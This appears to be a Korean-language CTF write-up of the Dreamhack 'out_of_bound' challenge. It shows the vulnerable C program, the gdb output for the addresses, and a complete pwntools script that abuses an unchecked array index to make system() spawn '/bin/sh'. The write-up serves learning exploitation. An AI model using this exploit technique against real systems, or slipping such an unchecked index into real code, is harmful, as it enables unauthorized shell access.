Reference의 내용들이 자꾸 힌트가 되는 것 같다.
NX와 Canary가 걸려있으며 Partial RELRO 또한 적용되어있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
system("/bin/sh")를 실행할 수 있으면 되겠다. 우리는 system에 인자로 command[idx]를 전달한다.
이 때 idx의 크기 필터를 안 하므로 command 주소를 기준으로 충분히 OOB 취약점이 발생할 수 있다.
그럼 우리는 command와 name 사이의 주소를 확인하여 / 4를 idx로 전달해 exploit 가능하다.
gdb-peda$ info var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060 command
gdb-peda$ info var name
All variables matching regular expression "name":
Non-debugging symbols:
0x0804a0ac name
command : 0x0804a060
name : 0x0804a0ac
PIE는 걸려있지 않으므로 이 주소를 가져오면 되겠다.
from pwn import *
p = process("./out_of_bound")
#p = remote("host3.dreamhack.games", 14919)
command = 0x0804a060
name = 0x0804a0ac
p.recvuntil("name: ")
payload = p32(name+4) + "/bin/sh\x00"
p.sendline(payload)
p.recvuntil("want?: ")
idx = (name - command) / 4
p.sendline(str(idx))
p.interactive()
이 코드에서 의문이 들 수 있다. 왜 name+4를 넘기는 걸까? 본인은 p32(name) + "/bin/sh\x00"을 넘겨주었었고, 문제는 풀리지 않았었다. 그래서 system 함수에서 인자를 어떻게 처리하는 지 분석을 했었다.
//gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -fno-pie -o test test.c
#include <stdlib.h>
const char *cmd = "/bin/sh\x00";
int main(void){
system(cmd);
return 0;
}
system 함수는 const char *를 인자로 받는다. 위의 코드를 가지고 어떻게 작동하는 지 확인해보자.
그렇다. 포인터 이기에 결국은 문자열을 전달하는 것이 아닌, 그 주소를 전달하게 되는 것이다.
그렇기에 name+4를 전달해주고, 그 크기 또한 4바이트니 name+4부터 /bin/sh이 들어가면 되는 것이다.